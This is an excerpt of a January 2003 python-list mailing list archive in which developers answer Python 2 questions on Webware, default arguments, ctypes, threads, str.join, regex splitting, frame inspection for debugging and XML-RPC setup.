that handles requests.  This is true of almost all Python web
frameworks.

A daemon is just a process running in the background.  There's not much
special code involved.

> >> * Allow all errors to be caught and handled so users never see them
> >>   (I currently send them to an email address)
> >>   (Users are notified an error occurred and a developer contacted)
> >
> >Yep.
> 
> With a global handler or pasting in your
> try except handling block every page?

It's handled for you.

> >> * Allow similarly powerful regex capabilities
> >>   (I currently use PHP's pcre module)
> >
> >Again, using Python's re module (IMHO much easier to use than in PHP).
> 
> Can you elaborate? I use PHP's heredoc syntax for my complex regex.

Well, I find the quoting and handling of regexes in PHP to be annoying,
but I'm not an advanced PHP programmer and there might be conveniences
I'm missing.  I think Python's re module works pretty well.

> >I believe there's ways to do this with Apache while using Webware.  But
> >you can (in effect) do this in Webware fairly easily.  Each page of a
> >Webware application is a separate class.  Generally there will be a
> >superclass that you write that is specific to your application.  In it
> >you can put a header and footer, and those can be as dynamic as you
> >choose. 
> 
> Where does this class live? Do I have to edit .htaccess every time
> I create a new page, I saw that in the mod_python documentation.
> I am aware of different connectors, but mod_python looks likely.

For Webware you wouldn't want to use mod_python.  There's mod_webkit
which is a small module that just is meant to connect to the AppServer
(it's analogous to SCGI, and vaguely like a simplified FastCGI).  You
can also use a CGI interface (which shouldn't be confused as meaning
Webware runs as a CGI -- just the adapter can run as such).

.htaccess files aren't really used for anything in Webware -- though you
can chain Webware with other Apache modules like mod_gzip.  I haven't
experimented with this a great deal, though.

Your servlets are all plain classes in Webware.  The classes can inherit
from other classes, so you might have a Login class (servlet) which
inherits from SitePage (your class that defines the look and other
convenience methods), which inherits from Page (a class that comes with
Webware).  

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From skip at pobox.com  Sun Jan 26 14:21:19 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 26 Jan 2003 13:21:19 -0600
Subject: beating a dead horse: automated form submission
In-Reply-To: <b0e655d.0301260938.14265877@posting.google.com>
References: <b0e655d.0301251204.5b7415e5@posting.google.com>
        <3E32EFD8.D00D4656@engcorp.com>
        <b0e655d.0301260938.14265877@posting.google.com>
Message-ID: <15924.13615.392544.878049@montanaro.dyndns.org>

    Whit> Well I'm tinkering with the snippet from the FAQ and trying it out on
    Whit> www.musi-cal.com's little query page.  Here's the code:

    ...

Try adding

    httpobj.putheader('Host', 'www.musi-cal.com')

in with the other headers.  The Musi-Cal server is an Apache virtual host,
so you have to tell it which virtual server you want to get the request.

Skip
(the Musi-Cal guy)





From wyojustin at hotmail.com  Mon Jan 20 20:33:09 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Mon, 20 Jan 2003 20:33:09 -0500
Subject: Scope confusion...
References: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>
Message-ID: <Ux6dnTBWGbjKPrGjXTWcpw@comcast.com>

"Kevin at Cazabon.com" <kevin at cazabon.com> wrote in message
news:YX0X9.642361$GR5.433453 at rwcrnsc51.ops.asp.att.net...
> I had a perplexing problem that turned out to be a scope issue, but I
still
> can't for the life of me figure out WHY it's behaving like this.  Consider
> this minimal example, and the resulting output:
>
> ##################
> def a(list = []):
>     list.append("test")
>     return list
>
> def b():
>     for i in range(20):
>         print a()
>
> if __name__ == "__main__":
>     b()
> ##################
>
What am I missing?  (I'm using ActivePython 2.2.1 build 222)
>
> Kevin.
>

The default argument is evaluated when the module is loaded.  This one list
gets appended each time you call a().  If this is not the desired behavior
the usual approach is to have the default argument be None.

##################
def a(l = None): # the name list is probably best left to describe the list
type
    if l is None:
        l = []
    l.append("test")
    return l

def b():
    for i in range(20):
        print a()

if __name__ == "__main__":
    b()
###################





From rmunn at pobox.com  Wed Jan 29 11:41:35 2003
From: rmunn at pobox.com (Robin Munn)
Date: Wed, 29 Jan 2003 16:41:35 GMT
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com> <3E2DEF9F.A8596B23@engcorp.com> <bs29tyi2.fsf@python.net> <3E2EA9EE.EB599DC6@engcorp.com>
Message-ID: <slrnb3fc2g.gon.rmunn@localhost.localdomain>

Peter Hansen <peter at engcorp.com> wrote:
> Thomas Heller wrote:
>> 
>> Peter Hansen <peter at engcorp.com> writes:
>> 
>> > Marc wrote:
>> > >
>> > > Basically I have to include a bunch of header files (.h for C) or .dll
>> > > files (for Tcl) and be able to access them from Python code. These
>> > > files are quite large, so any manual intervention will be time
>> > > consuming. The new release of Python mentioned some new ways of
>> > > extending it, but I'm not sure how many people have used these new
>> > > functions or what problems they might have.
>> >
>> >
>> > Look into "calldll" or the newer potential replacement ... uh.. dang!
>> > What was the name of that thing?  Why didn't I bookmark it. :-(
>> >
>> > (No doubt some kind soul will post the name and save us the trouble
>> > of searching futilely for it... so far Google hasn't helped me.)
>> 
>> ctypes.
>> 
>> http://starship.python.net/crew/theller/ctypes.html
> 
> Thank you thank you thank you. :-) Bookmarked at last!
> 
> (We're still using calldll, but from what I've seen it will be a nice
> move to switch to ctypes.)

I recall a posting recently saying that ctypes development has been
moved to Sourceforge. You may want to bookmark

    http://sourceforge.net/projects/ctypes/

as well.

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From johocus at zonnet.nl  Sun Jan 12 14:08:00 2003
From: johocus at zonnet.nl (jodocus)
Date: Sun, 12 Jan 2003 20:08:00 +0100
Subject: newbie installation problems
References: <pan.2003.01.12.19.04.20.891104.2151@zonnet.nl> <slrn.pl.b237cc.dmp.jzgoda@kotek.home>
Message-ID: <pan.2003.01.12.20.08.00.581296.2151@zonnet.nl>

On Sun, 12 Jan 2003 18:03:42 +0100, Jarek Zgoda wrote:

> jodocus <johocus at zonnet.nl> pisze:
>  
>> src/pygame.h:57: Python.h: No such file or directory
>> 
>> (of course, this error occurs in other files for other packages).
>> 
>> I checked, and there is no file named Python.h anywhere on my system.
>> Is there some component I should have installed?
> 
> Python-devel (or -dev) I think, I'm not sure since I don't know SuSE,
> but this is the name of RH package. On Debian it has -dev suffix.
> 

Yep, that was the problem. Thanks a lot!

R.



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 10:18:22 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 07:18:22 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com>
Message-ID: <7x3cni1sqp.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> > But what if I want to end a thread which hangs because
> > it uses 'exec' on some code which loops forever ?
> 
> You lose. There is no way to cancel a thread, period.

Is there some inherent reason for that?  Or is it just a deficiency,
either in Python or in the way OS threads work?  I don't understand
why Python's thread switching code can't just look for a flag
indicating that the thread should be killed instead of allowed to run.



From trentoliphant at yahoo.com  Mon Jan 20 12:23:04 2003
From: trentoliphant at yahoo.com (Trent Oliphant)
Date: 20 Jan 2003 09:23:04 -0800
Subject: Py2Exe on Win98
Message-ID: <fabbc983.0301200923.67d20c3f@posting.google.com>

I have a script that I was able to compile successfully on a win2000
machine, but I get the error "No module named pywintypes" on a win98
machine.  I am able to import pywintypes in the interactive
interpreter, and the script runs fine.

The script itself uses Qt, win32api and win32con.  

I tried the command line flags "-i pywintypes" and "--force-imports
pywintypes", I even tried "--force-imports, win32api, win32con" but
still get the same error.

As I said, it compiles just fine on Win2000 and creates
"PyWinTypes22.dll" in the dist folder with the executable.

Any ideas on what else to do?

Trent Oliphant
trentoliphant at yahoo.com



From clifford.wells at attbi.com  Sat Jan  4 13:56:57 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 10:56:57 -0800
Subject: new years resolutions
In-Reply-To: <2282.3e16c72c.ed40b@basilisk>
References: <mailman.1041550805.3550.python-list@python.org>
	 <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com>
	 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
	 <2282.3e16c72c.ed40b@basilisk>
Message-ID: <1041706617.3566.40.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 03:36, Pieter Nagel wrote:
> Peter Hansen wrote:
> > Mike Meyer wrote:
> 
> >>Personally, I think that insisting that programming languages be
> >>turing complete is a better definition
> ...
> > That's another definition and, as it's clearly more constraining,
> > possibly a more useful one.  It's not widely used, however,
> 
> Ahem. Which circles do *you* hang out in? :-)
> 
> Turing Completeness has been the one and only rigorous mathematicall 
> definition of "programming language" for *decades*, now.

Er, says who?  I thought that "Turing complete" described a *subset* of
programming languages.  

>From http://www.everything2.com/index.pl?node=turing%20complete

"""
Very small subsets of most programming languages are already
Turing-complete, on the condition that they can access arbitrary amounts
of memory. C, for instance, isn't, because it must address all memory
with pointers of a fixed size; but a variant that uses pointers of
arbitrary size would be trivial to define. 
"""

"""
Primitive recursive functions are not Turing complete: they cannot
express the Ackermann function. C and Pascal are Turing complete if
we're careful to ignore some details (e.g. a C implementation must use
pointers of some finite size sizeof(void *), implying it can only use
some finite amount of data). Real programming languages are Turing
complete only if we ignore the constraints of finiteness. 
"""

So, if C isn't a programming language, what is it?  I guess you'll need
to find a new definition of "programming language" at this point if you
want to remain a "programmer" <wink>


-- 
Cliff Wells <clifford.wells at attbi.com>





From mwm at mired.org  Sun Jan 19 10:55:43 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 19 Jan 2003 15:55:43 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com>
Message-ID: <x71y393zhu.fsf@guru.mired.org>

Afanasiy <abelikov72 at hotmail.com> writes:

> On 18 Jan 2003 19:56:24 GMT, Grant Edwards <grante at visi.com> wrote:
> Otherwise, I have a tough time thinking of a language
> that doesn't have operator "overloading"...

BCPL, maybe. The only type it had was integer. You could dereference
them, but adding one and dereferencing got the next integer, with no
overlap. It did have binary and unary operators that shared
spelling.constants.  See <URL:
http://cm.bell-labs.com/cm/cs/who/dmr/bcpl.html >.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From Simon.Wittber at perth.maptek.com.au  Thu Jan 30 00:18:36 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Thu, 30 Jan 2003 13:18:36 +0800
Subject: Python vs. C++ Builder - speed of development
Message-ID: <10F0E58C0018054484E329DC494C4D7F01BD60@mexper1>

Hmmmmm...

>Brandon Van Every wrote:
>>I see no primary purpose for Python's existence other than as a glue
language.

An obvious troll. Appears to be a successful one too!





From pedro_rodriguez at club-internet.fr  Sun Jan 19 06:29:30 2003
From: pedro_rodriguez at club-internet.fr (Pedro Rodriguez)
Date: Sun, 19 Jan 2003 11:29:30 +0000
Subject: Can you obtain names from parent scope?
References: <850fb3a6.0301170751.488179c6@posting.google.com>
Message-ID: <pan.2003.01.19.11.29.30.27627.1141@club-internet.fr>

On Fri, 17 Jan 2003 15:51:35 +0000, Will Sadkin wrote:

> I want to write a function that takes an arbitrary set of objects,
> and prints them in the form "name = <value>."  That is, I want to be
> able to say:
> 
>>>> a = 'hi!'
>>>> dbgval(a)
> a = hi!
>>>> b = 2
>>>> dbgval(b)
> b = 2
> 
> However I can't make this work, because objects don't have any
> intrinsic name, and if I write a function of the form
>>>> def dbgval(*args):
>     ...
> 
> then dbgval() only knows the arguments objects as belonging to the
> list 'args', and I can't find any way to determine what the names
> were in the parent's local scope when the function was called.
> Is there any way for a function to retrieve this information?

You may have access to parent frame with something like this :
 
import sys

def show_locals(func):
    callerFrame = sys._getframe(1)
    locals = eval("locals()", callerFrame.f_globals, callerFrame.f_locals)
    print func, locals

def f():
    x = 1
    def g(y):
        w = 2
        show_locals("g")
    g(x)
    show_locals("f")

f()


If you want to write a dbgval function as you describe, you'll need
to pass variable names instead of variable references, in fact you
should pass any string that may be evaluated :

import sys

def dbgval(*names):
    callerFrame = sys._getframe(1)
    for name in names:
        val = eval(name, callerFrame.f_globals, callerFrame.f_locals)
        print "%s = %s" %(name, val)


Finally, if for some reason you don't know precisely which names you want
to investigate, but still don't want to use a debugger, you can try the
following code that allow some interactive investigation using the
simplicity of adding a single 'print' like statement :

import sys

def debug():
    try:
        import readline
    except:
        pass

    try:
        callerFrame = sys._getframe(1)
    except: # 1.5.2
        exceptionType, exceptionValue, exceptionTraceback = sys.exc_info()
        exceptionFrame = exceptionTraceback.tb_frame
        callerFrame = exceptionFrame.f_back

    while 1:
        try:
            s = raw_input("debug> ")
            exec s in callerFrame.f_globals, callerFrame.f_locals
        except EOFError:
            break
        except SystemExit:
            raise
        except:
            traceback.print_exc()

(add 'debug()' at some place, and you'll be able to issue some statements
like 'print a', or 'a.doSomething()')

Pedro



From tundra at tundraware.com  Tue Jan  7 17:00:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 07 Jan 2003 22:00:07 GMT
Subject: Tkinter: Figured Out Why Accelerator Keys Broken Under Win32
Message-ID: <68ifva.f82.ln@boundary.tundraware.com>

I asked this question (poorly) a couple days ago, and now have more data to
ask it clearly:

I have a Tkinter program which runs on both Unix and Win32.  On Unix,
accelerator keys for my menus work fine.  I have one menu called "Commands"
and another called "Directories" and Alt-C and Alt-D bring them up
respectively.  On Win32, pressing these keys does nothing.

After some digging, I discovered that, under Unix, the Alt key sets the Mod1
bit of the event.state value.  However, under Win32, the 0x20000 bit is set (???)
Presumably, the Tk core is looking for the Mod1 bit, which it never sees
under Win32, hence the accelerators do not work.  (I would think that
Tk itself should somehow remap this to make the Alt keypress consistent
regardless of underlying platform differences.  No?)

Has anyone seen this problem before?  Is there any workaround besides writing
manual accelerators triggered by the 0x20000 bit on Win32 (yuk!)?

TIA,
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From lac at strakt.com  Thu Jan  9 01:44:52 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 07:44:52 +0100
Subject: best college for computer science major 
In-Reply-To: Message from "Tupoi" <EDB30@msn.com> 
   of "Wed, 08 Jan 2003 17:07:27 EST." <3e1ca11b_4@nopics.sjc> 
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc> 
Message-ID: <200301090644.h096iqjL011746@ratthing-b246.strakt.com>

Tupoi:
> ok to be more specific what are the best undergrad schools in the US for a
> Computer Science major in general because most undergrads like me probbably
> have not decided whether they will be computer programmers, network guys, or
> whatever else.
> 

You need to do some very careful research about this.  Talk to the
universities directly.  I am not an American and do not live in the
USA, but it sounds to me as if you want your undergraduate education
to expose you to a broad base of the actual practice of the profession
of programming.  A great many universities do not see that as part of
their mandate at all, and will work quite hard to expose you to as
little of that as possible.  They are trying to make computer
scientists, not programmers.  You can be a GREAT computer scientist
and a LOUSY programmer at the same time -- indeed it is not uncommon.

Very best of luck,
Laura Creighton




From peter at engcorp.com  Mon Jan 27 10:31:32 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 10:31:32 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b13flq$c725@eccws12.dearborn.ford.com>
Message-ID: <3E3550D4.992284BA@engcorp.com>

Michael Tiller wrote:
> 
> >     for i in [1]:
> >         m = re.match(...)
> >         if m:
> >             ...
> >             break
> >
> >         m = re.match(...)
> >         if m:
> >             ...
> >             break
> 
> I'm happy that works for you.  I'm curious if others in the Python community
> find that an acceptable alternative?!?

I certainly don't.  But, as I said, I've yet to find a case where my
own suggestion could not work.  At first, sometimes, it looks like it
won't work, but then I realize that if I actually think I need to include
the code right there in the if statements, my design is already broken,
and I fix it to allow the much better approach with the tuple-list...

But you didn't want to hear that again, did you?  ;-)

-Peter



From bradh at cuneata.net  Tue Jan  7 18:02:23 2003
From: bradh at cuneata.net (bradh at cuneata.net)
Date: Wed, 08 Jan 2003 10:02:23 +1100 (EST)
Subject: xml-rpc, O'Reilly cookbook example not working???
In-Reply-To: <7190BF5EB309D511A15600508BF18D83560DF3@exchange.iecholden.com>
References: <7190BF5EB309D511A15600508BF18D83560DF3@exchange.iecholden.com>
Message-ID: <1041980543.3e1b5c7f7027f@www.cuneata.net>

Quoting "Meehan, Francois" <Francois at iecholden.com>:
<snip>
> if __name__=='__main__':
>     server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost",
> 8000))
"localhost" has very specific meaning and will normally only bind to the 
loopback interface. If you insert the machine name here, you should be able to 
use it on another interface.

Brad




From Dick.Zantow at lexisnexis.com  Mon Jan 13 13:19:08 2003
From: Dick.Zantow at lexisnexis.com (rzed)
Date: Mon, 13 Jan 2003 13:19:08 -0500
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <3E222FC1.40908@tismer.com> <mailman.1042458465.10767.python-list@python.org>
Message-ID: <avv00s$elh$1@mailgate2.lexis-nexis.com>

holger krekel wrote:
> [Christian Tismer Mon, Jan 13, 2003 at 04:17:21AM +0100]
>> Bengt Richter wrote:
>>> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
>>> [...]
>>>
>>>> At the same time, as much as possible should become
>>>> pluggable. It will be possible to have MiniPy
>>>
>>> [...]
>>>
>>> Is "MiniPy" the official name ?
>>
>> No.
>> There is no official name, yet.
>
> I suggest we use 'pypy' and/or 'Minimal Python' for
> the time before the sprint.
>
> On one of the sprint evenings we should discuss and
> decide (vote) on the eventual name. [1]
>
> Without code you can't vote :-)
>
> cheers,
>
>     holger
>
>
> [1] FWIW, Currently I think that i will propose   P
>     (courtesy of Tim Churches).

Oh no!! Then we'd be writing P-code!

And, at least in America, "coding in P" sounds like urine over your
head. (Not you, holger, but I mean ... )

--
rzed





From tjreedy at udel.edu  Sat Jan 18 18:13:13 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 18 Jan 2003 18:13:13 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net>
Message-ID: <sh2dnT66cMuoQrSjXTWcrg@comcast.com>

> > Terry Reedy wrote:
> >>Once you actually think about it, its obvious that attaching the
join
> >>method to the joiner is the only sensible place to put it.
> >>
> >>"Carpenter, exercise your ability to joins these pieces of wood."

> Erik Max Francis wrote:
> > Agreed.  It may look weird at first, but it doesn't take long to
realize
> > as a method, that's the only place it can logically go.  After
all, the
> > alternative is having a join method be part of _every single
sequence
> > interface_, which is clearly heavy-handed.

"Daniel Dittmar" <daniel at dittmar.net> wrote in message
> Now that there are class methods, there's no longer the need to
force
> this into a instance method call. str.join (somelist [, joinstring])
> does the job just fine.

Nope.
str.join is *not* a class method.  (If it were, joiner.join(seq) would
not work!).  While not identified as 'unbound', it acts like a normal
instance methods.  So you have the parameter order backwards.

>>> '..'.join('abc')
'a..b..c'
>>> str.join('..', 'abc')
'a..b..c'
# Not '.abc.' as you claimed

*Every* instance method can be invoked like this, via the class, with
the instance given as an explicit first parameter.  While occasionally
useful  -- to get at a method that is masked by inheritance, or
explain why 'self' should be explicit -- it seems awkward for routine
use.

However, I do not care too much if people with joiner.join phobia make
an exception for this particular method and write the extra chars for
the circumlocution -- as long as they don't push the awkward usage on
me or advocate it to newcomers.  The point of my original post was to
oppose the notion that join should be a method of lists -- which
proposal ignores the two facts that not all lists can be joined, and
that any string sequence, not justs lists, can be joined.

If the quote above is a another suggestion -- that .join could (or
should) be or have been turned into a class method instead of an
instance method, then I oppose this also.  Every method *could* be
turned in a 'class' method.  (Or we could get rid of the
instance.method syntax entirely and always use the class.meth(inst)
alternative.)  However, this violates the whole notion of a class
method -- which is a method that operates on or with a class and it
attributes instead of any particular instance.  This does not, not,
not apply to .join.  The purpose of adding explicit class methods was
to avoid the circumlocation of writing a class method as an instance
method called with an arbitrary instance that is then ignored except
for using it to get at the class that should have been the self param
in the first place, instead of the instance.  Again, this has nothing
to do with .join().

Terry J. Reedy





From nav at adams.patriot.net  Tue Jan 28 14:20:41 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 28 Jan 2003 14:20:41 -0500
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org> <7x3cnexbt1.fsf@ruckus.brouhaha.com> <yyyk7gpmhs4.fsf@adams.patriot.net> <7xisw9grur.fsf@ruckus.brouhaha.com>
Message-ID: <yyybs21m67q.fsf@adams.patriot.net>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> It's not a "distribution".  It's not really even "software".  It's
> code intended to be looked at, not used for real data.  

Oh, okay, sorry. I thought you were trying to get it into the 2.3
release, which made me think it was intended for distribution and
production use.

> The real release will, at minimum, pass all FIPS test vectors for DES
> and AES.

Much better tests than "does Nick approve"... Sorry, I didn't mean
to upset anyone, 

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From pedro_rodriguez at club-internet.fr  Mon Jan 13 10:10:37 2003
From: pedro_rodriguez at club-internet.fr (Pedro RODRIGUEZ)
Date: Mon, 13 Jan 2003 16:10:37 +0100
Subject: python equiv of perl's split?
References: <m3k7h9p1p4.fsf@coco.kazmier.com>
Message-ID: <avuka4$fub$1@s1.read.news.oleane.net>

On Mon, 13 Jan 2003 15:24:39 +0100, pete-temp-12-29-2002 wrote:

> Just wondering what the 'best' way of emulating perl's split() method
> when used in the following manner:
> 
>      split /(:)/
> 
> Basically, split the string using a colon as the separator.  NOTE: the
> parens indicate that the split function should *include* the colons in
> the returned list.  Thus, given the string:
> 
>      test:one:two:three
> 
> The following array (list) is returned:
> 
>      test
>      :
>      one
>      :
>      two
>      :
>      three
> 
> What would be the easiest way to emulate this in Python?
 
>>> import re
>>> re.split("(:)", "test:one:two:three")
['test', ':', 'one', ':', 'two', ':', 'three']
>>>

Pedro



From marklists at mceahern.com  Thu Jan 16 14:19:58 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Thu, 16 Jan 2003 13:19:58 -0600
Subject: String Problem, What is it I don't understand?
In-Reply-To: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOEELGFLAA.marklists@mceahern.com>

> I would expect to get the month day and year from the following, but
> day and year are null
>
> xxx = "01/17/03"
> month = xxx[0:2]
> print "month=",month
> day = xxx[3:2]
> print "day=",day
> year = xxx[6:2]
> print "year=",year

1.  Look into slicing.

    >>> d = '01/02/2003'
    >>> d[0:2]
    '01'
    >>> d[3:5]
    '02'
    >>> d[6:]
    '2003'

2.  There are better ways to parse date strings into dates.  On Linux, the
time module has a strptime function.  Otherwise, you can use mx.DateTime (a
third party package, search for it on google).

// m

-





From ark at research.att.com  Mon Jan  6 18:13:57 2003
From: ark at research.att.com (Andrew Koenig)
Date: Mon, 6 Jan 2003 23:13:57 GMT
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu> <v1k1tts6o9ta1e@news.supernews.com>
Message-ID: <yu99bs2tvpl6.fsf@europa.research.att.com>

John> I don't think I've ever seen **conceptual** fixed point binary.

PL/I has it.

-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From just at xs4all.nl  Sat Jan 11 15:30:12 2003
From: just at xs4all.nl (Just)
Date: Sat, 11 Jan 2003 21:30:12 +0100
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <ThZT9.98$B62.32373@news.uswest.net> <slrnb20pme.ptc.grante@localhost.localdomain>
Message-ID: <just-E8768D.21301211012003@news1.news.xs4all.nl>

In article <slrnb20pme.ptc.grante at localhost.localdomain>,
 Grant Edwards <grante at visi.com> wrote:

> In article <ThZT9.98$B62.32373 at news.uswest.net>, Kevin Altis wrote:
> 
> > The most common is probably 's'. However, it makes it more difficult for
> > other people to read your source if don't use 'self', so it isn't advisable.
> > You might consider binding a "macro" to type out "self." if typing the
> > characters bothers you
> 
> I don't know about the OP, but I don't care about the typing.  That's NRE.
> It's the reading that's a problem.  If you've expressions like
> 
>    (((a+b)/c)*(d-x))-y
>    
> they end up looking like
> 
>    (((self.a+self.b)/self.c)*(self.d-self.x))-self.y
> 
> I have a much easier time grokking the former.  In some cases you end up
> with lines 100+ characters long instead of 20 or 30.
> 
> Using local variables helps...

Yup. To me the above looks like someone is using instance variables as 
if they are globals and I've seen beginners do that many times. IMHO, 
using instance variables for actual state, and passing other values as 
arguments to methods is often much better style. And in cases you really 
*do* need lots of instance variables, temporarily binding them to local 
vars can help. Sometimes bundling several variables in a tuple helps, as 
in this snippet from a module of mine:

    def inverse(self):
        "Return the inverse transform."
        if self.__affine == (1, 0, 0, 1, 0, 0):
            return self
        xx, xy, yx, yy, dx, dy = self.__affine
        det = float(xx*yy - yx*xy)
        xx, xy, yx, yy = yy/det, -xy/det, -yx/det, xx/det
        dx, dy = -xx*dx - yx*dy, -xy*dx - yy*dy
        return self.__class__(xx, xy, yx, yy, dx, dy)

Just



From mwh at python.net  Wed Jan 29 07:49:42 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 12:49:42 GMT
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org> <16639e88-1256-4856-b604-95bd59d2d770@news.szn.dk> <7h38yx4175f.fsf@pc150.maths.bris.ac.uk> <a14e9fc5-2de7-4afb-9d07-6a46a8f74013@news.szn.dk>
Message-ID: <7h3isw8yvcw.fsf@pc150.maths.bris.ac.uk>

Klaus Alexander Seistrup <spam at magnetic-ink.dk> writes:

> Michael Hudson wrote:
> 
> >> The darned thing about Bzero is that it is distributed as
> >> a bunch of compiled python script (.pyc) -- no source is
> >> available. :(
> > 
> > This is a solvable problem :) google("decompyle").
> 
> I thought about that, but never got around to actually trying it.
> I've never tried decompyle -- how legible is its output?

I've never tried it either, but I've heard comments along the lines of
"pretty good", "amazing!", "occasionally better than the source that
was compiled to make the .pyc" and so on.

It may be legally dubious, of course.

Cheers,
M.

-- 
  ... but I'd rather not reinvent the wheel if I don't have to.  On
  the other hand, if the currently instantiated version of the wheel
  consists of a square rock covered with moss, I might as well just
  start fresh.                          -- Roy Smith, comp.lang.python



From 2002 at weholt.org  Wed Jan 29 05:34:40 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Wed, 29 Jan 2003 11:34:40 +0100
Subject: Zope-like html-forms and required, disappearing values serverside in plain python
Message-ID: <87OZ9.16601$CG6.281469@news4.e.nsc.no>

Or : how to get empty form-fields in a posted html-form?

NB! I'm using BaseHTTPServer as server in my project.

I'm trying to implement something similar to Zopes html-forms:

<form ....>
  <input type="text" name="name:string:required">
  <input type="text" name="age:int">
  ...
</form>

This way we can parse the posted data server side into real python
datatypes, values intended as integers are available as integers, not as
string.atoi(age[0]) etc. The problem is that empty fields are not available
serverside, in the posted data. They just disapear. How can I use this
method and still get access to empty fields, so the required-tag makes
sense? My previous solution used a second input-field, a hidden one,
specifiying required fields, but Zope don't.

Any hint on this problem would be appreciated.

Best regards,
Thomas





From zypin at sympatico.ca  Sat Jan  4 16:47:42 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 16:47:42 -0500
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com> <u3coap3fz.fsf@fitlinxx.com>
Message-ID: <SDIR9.8437$8M3.1412642@news20.bellglobal.com>

David Bolen wrote:
> I'm assuming Windows since you mention the Visual
> languages.

Hi, David.

I am developing applications for individuals, not businesses.  (Although,
some of the financial applications will be useful for small businesses on a
shoestring budget, too.)

I'd like the software to be available to anyone who has a floppy disk and
